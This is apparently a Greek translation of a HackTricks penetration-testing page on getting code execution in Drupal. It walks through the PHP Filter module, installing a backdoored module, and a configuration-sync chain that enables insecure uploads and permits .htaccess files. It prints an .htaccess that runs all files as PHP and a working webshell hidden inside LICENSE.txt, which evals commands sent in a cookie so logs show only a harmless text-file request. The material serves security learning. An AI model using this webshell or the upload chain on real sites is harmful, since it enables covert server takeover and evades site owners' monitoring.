mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
14 KiB
Markdown
228 lines
14 KiB
Markdown
# Drupal RCE
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Με το Module PHP Filter
|
||
|
||
> [!WARNING]
|
||
> Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **να ενεργοποιήσετε το module `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα/κομματιών PHP." Αλλά από την έκδοση 8 αυτό το module δεν είναι εγκατεστημένο από προεπιλογή.
|
||
|
||
1. Πηγαίνετε στο **/modules/php** και αν επιστραφεί σφάλμα 403 τότε το **plugin PHP filter είναι εγκατεστημένο και μπορείτε να συνεχίσετε**
|
||
1. Αν όχι, πηγαίνετε στο `Modules` και ελέγξτε το κουτάκι του `PHP Filter` και στη συνέχεια πατήστε `Save configuration`
|
||
2. Στη συνέχεια, για να το εκμεταλλευτείτε, κάντε κλικ στο `Add content`, επιλέξτε `Basic Page` ή `Article` και γράψτε το **PHP backdoor**, στη συνέχεια επιλέξτε `PHP` κώδικα σε μορφή Κειμένου και τέλος επιλέξτε `Preview`
|
||
3. Για να το ενεργοποιήσετε, απλά αποκτήστε πρόσβαση στον νεοδημιουργηθέντα κόμβο:
|
||
```bash
|
||
curl http://drupal.local/node/3
|
||
```
|
||
## Εγκατάσταση του Module PHP Filter
|
||
|
||
> [!WARNING]
|
||
> Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατό να εγκαταστήσετε plugins μόνο με πρόσβαση στο διαδίκτυο μετά την προεπιλεγμένη εγκατάσταση.
|
||
|
||
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module δεν εγκαθίσταται προεπιλεγμένα**. Για να αξιοποιήσουμε αυτή τη λειτουργικότητα, θα πρέπει να **εγκαταστήσουμε το module μόνοι μας**.
|
||
|
||
1. Κατεβάστε την πιο πρόσφατη έκδοση του module από την ιστοσελίδα του Drupal.
|
||
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
|
||
2. Αφού κατεβεί, πηγαίνετε στο **`Administration`** > **`Reports`** > **`Available updates`**.
|
||
3. Κάντε κλικ στο **`Browse`**, επιλέξτε το αρχείο από τον φάκελο που το κατεβάσατε και στη συνέχεια κάντε κλικ στο **`Install`**.
|
||
4. Αφού εγκατασταθεί το module, μπορούμε να κάνουμε κλικ στο **`Content`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με το πώς κάναμε στο παράδειγμα του Drupal 7. Και πάλι, βεβαιωθείτε ότι **έχετε επιλέξει `PHP code` από το αναπτυσσόμενο μενού `Text format`**.
|
||
|
||
## Module με Backdoor
|
||
|
||
> [!WARNING]
|
||
> Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατό να εγκαταστήσετε plugins μόνο με πρόσβαση στο διαδίκτυο μετά την προεπιλεγμένη εγκατάσταση.
|
||
|
||
Ήταν δυνατό να **κατεβάσετε** ένα **module**, να προσθέσετε μια **backdoor** σε αυτό και να **το εγκαταστήσετε**. Για παράδειγμα, κατεβάζοντας το [**Trurnstile**](https://www.drupal.org/project/turnstile) module σε συμπιεσμένη μορφή, δημιουργώντας ένα νέο αρχείο PHP backdoor μέσα σε αυτό, επιτρέποντας την πρόσβαση στο αρχείο PHP με ένα αρχείο `.htaccess`:
|
||
```html
|
||
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
|
||
```
|
||
Και στη συνέχεια πηγαίνουμε στο **`http://drupal.local/admin/modules/install`** για να εγκαταστήσουμε το backdoored module και να αποκτήσουμε πρόσβαση στο **`/modules/turnstile/back.php`** για να το εκτελέσουμε.
|
||
|
||
## Backdooring Drupal με συγχρονισμό ρυθμίσεων <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||
|
||
**Ανάρτηση που μοιράστηκε από** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||
|
||
### Μέρος 1 (ενεργοποίηση του _Media_ και _Media Library_)
|
||
|
||
Στο μενού _Extend_ (/admin/modules), μπορείτε να ενεργοποιήσετε αυτά που φαίνονται να είναι plugins που έχουν ήδη εγκατασταθεί. Από προεπιλογή, τα plugins _Media_ και _Media Library_ δεν φαίνεται να είναι ενεργοποιημένα, οπότε ας τα ενεργοποιήσουμε.
|
||
|
||
Πριν την ενεργοποίηση:
|
||
|
||
<figure><img src="../../../images/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Μετά την ενεργοποίηση:
|
||
|
||
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Μέρος 2 (εκμετάλλευση της δυνατότητας _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||
|
||
Θα εκμεταλλευτούμε τη δυνατότητα _Configuration synchronization_ για να εξάγουμε (export) και να ανεβάσουμε (import) τις ρυθμίσεις του Drupal:
|
||
|
||
- /admin/config/development/configuration/single/export
|
||
- /admin/config/development/configuration/single/import
|
||
|
||
**Patch system.file.yml**
|
||
|
||
Ας ξεκινήσουμε με την επιδιόρθωση της πρώτης καταχώρισης `allow_insecure_uploads` από:
|
||
|
||
Αρχείο: system.file.yml
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: false
|
||
|
||
...
|
||
|
||
```
|
||
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Για:
|
||
|
||
Αρχείο: system.file.yml
|
||
```
|
||
|
||
...
|
||
|
||
allow_insecure_uploads: true
|
||
|
||
...
|
||
|
||
```
|
||
<figure><img src="../../../images/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Διορθώστε το field.field.media.document.field_media_document.yml**
|
||
|
||
Στη συνέχεια, διορθώστε την δεύτερη καταχώρηση `file_extensions` από:
|
||
|
||
File: field.field.media.document.field_media_document.yml
|
||
```
|
||
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
```
|
||
<figure><img src="../../../images/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Για:
|
||
|
||
Αρχείο: field.field.media.document.field_media_document.yml
|
||
```
|
||
...
|
||
|
||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
||
...
|
||
|
||
```
|
||
> Δεν το χρησιμοποιώ σε αυτή την ανάρτηση, αλλά σημειώνεται ότι είναι δυνατόν να οριστεί η είσοδος `file_directory` με αυθαίρετο τρόπο και ότι είναι ευάλωτη σε επίθεση διαδρομής (path traversal) (έτσι μπορούμε να επιστρέψουμε μέσα στο δέντρο συστήματος αρχείων του Drupal).
|
||
|
||
<figure><img src="../../../images/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Μέρος 3 (εκμετάλλευση της δυνατότητας _Προσθήκη Εγγράφου_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||
|
||
Το τελευταίο βήμα είναι το πιο απλό και χωρίζεται σε δύο υπο-βήματα. Το πρώτο είναι να ανεβάσουμε ένα αρχείο σε μορφή .htaccess για να εκμεταλλευτούμε τις οδηγίες του Apache και να επιτρέψουμε στα αρχεία .txt να ερμηνεύονται από τη μηχανή PHP. Το δεύτερο είναι να ανεβάσουμε ένα αρχείο .txt που περιέχει το payload μας.
|
||
|
||
Αρχείο: .htaccess
|
||
```
|
||
<Files *>
|
||
SetHandler application/x-httpd-php
|
||
</Files>
|
||
|
||
# Vroum! Vroum!
|
||
# We reactivate PHP engines for all versions in order to be targetless.
|
||
<IfModule mod_php.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php7.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
<IfModule mod_php5.c>
|
||
php_flag engine on
|
||
</IfModule>
|
||
```
|
||
Γιατί είναι αυτό το κόλπο ενδιαφέρον;
|
||
|
||
Επειδή μόλις το Webshell (που θα το ονομάσουμε LICENSE.txt) τοποθετηθεί στον Web server, μπορούμε να μεταδώσουμε τις εντολές μας μέσω `$_COOKIE` και στα logs του Web server, αυτό θα εμφανίζεται ως ένα νόμιμο GET αίτημα σε ένα αρχείο κειμένου.
|
||
|
||
Γιατί να ονομάσουμε το Webshell μας LICENSE.txt;
|
||
|
||
Απλά επειδή αν πάρουμε το παρακάτω αρχείο, για παράδειγμα [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (το οποίο είναι ήδη παρόν στον πυρήνα του Drupal), έχουμε ένα αρχείο 339 γραμμών και 17.6 KB σε μέγεθος, το οποίο είναι τέλειο για να προσθέσουμε ένα μικρό απόσπασμα κώδικα PHP στη μέση (καθώς το αρχείο είναι αρκετά μεγάλο).
|
||
|
||
<figure><img src="../../../images/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Αρχείο: Patched LICENSE.txt
|
||
```txt
|
||
|
||
...
|
||
|
||
this License, you may choose any version ever published by the Free Software
|
||
Foundation.
|
||
|
||
<?php
|
||
|
||
# We inject our payload into the cookies so that in the logs of the compromised
|
||
# server it shows up as having been requested via the GET method, in order to
|
||
# avoid raising suspicions.
|
||
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||
} else {
|
||
phpinfo();
|
||
}
|
||
}
|
||
|
||
?>
|
||
|
||
10. If you wish to incorporate parts of the Program into other free
|
||
programs whose distribution conditions are different, write to the author
|
||
|
||
...
|
||
|
||
```
|
||
#### **Μέρος 3.1 (ανέβασμα αρχείου .htaccess)**
|
||
|
||
Αρχικά, εκμεταλλευόμαστε τη δυνατότητα _Add Document_ (/media/add/document) για να ανεβάσουμε το αρχείο μας που περιέχει τις οδηγίες Apache (.htaccess).
|
||
|
||
<figure><img src="../../../images/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Μέρος 3.2 (ανέβασμα αρχείου LICENSE.txt)**
|
||
|
||
Στη συνέχεια, εκμεταλλευόμαστε ξανά τη δυνατότητα _Add Document_ (/media/add/document) για να ανεβάσουμε ένα Webshell κρυμμένο μέσα σε ένα αρχείο άδειας.
|
||
|
||
<figure><img src="../../../images/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../../images/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Μέρος 4 (αλληλεπίδραση με το Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||
|
||
Το τελευταίο μέρος περιλαμβάνει την αλληλεπίδραση με το Webshell.
|
||
|
||
Όπως φαίνεται στην παρακάτω στιγμιότυπο οθόνης, αν το cookie που αναμένεται από το Webshell μας δεν είναι καθορισμένο, λαμβάνουμε το επόμενο αποτέλεσμα όταν συμβουλευόμαστε το αρχείο μέσω ενός Web browser.
|
||
|
||
<figure><img src="../../../images/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Όταν ο επιτιθέμενος ρυθμίζει το cookie, μπορεί να αλληλεπιδράσει με το Webshell και να εκτελέσει οποιαδήποτε εντολή επιθυμεί.
|
||
|
||
<figure><img src="../../../images/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Και όπως μπορείτε να δείτε στα αρχεία καταγραφής, φαίνεται ότι έχει ζητηθεί μόνο ένα αρχείο txt.
|
||
|
||
<figure><img src="../../../images/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Σας ευχαριστώ που αφιερώσατε χρόνο για να διαβάσετε αυτό το άρθρο, ελπίζω να σας βοηθήσει να αποκτήσετε μερικά shells.
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|